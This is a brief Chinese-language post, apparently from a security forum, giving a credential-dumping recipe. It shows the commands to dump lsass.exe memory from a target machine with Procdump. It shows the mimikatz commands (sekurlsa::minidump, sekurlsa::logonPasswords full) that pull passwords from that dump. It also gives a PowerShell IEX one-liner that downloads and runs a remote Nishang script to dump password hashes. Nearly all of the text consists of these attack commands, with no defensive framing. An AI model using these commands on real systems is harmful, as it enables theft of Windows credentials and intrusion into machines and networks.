powershell版的procdump
https://www.t00ls.net/articles-48428.html
procdump
procdump是微软官方提供的一个小工具，
微软官方下载地址：https://technet.microsoft.com/en-us/sysinternals/dd996900
将工具拷贝到目标机器上执行如下命令（需要管理员权限,我选择的版本是64位）
Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
将这个内存dump文件拷贝到mimikatz同目录下，双击打开mimikatz执行情况如图：
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full
powershell Dump the hash
powershell IEX (New-Object Net.WebClient).DownloadString(\'https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1\');Get-PassHashes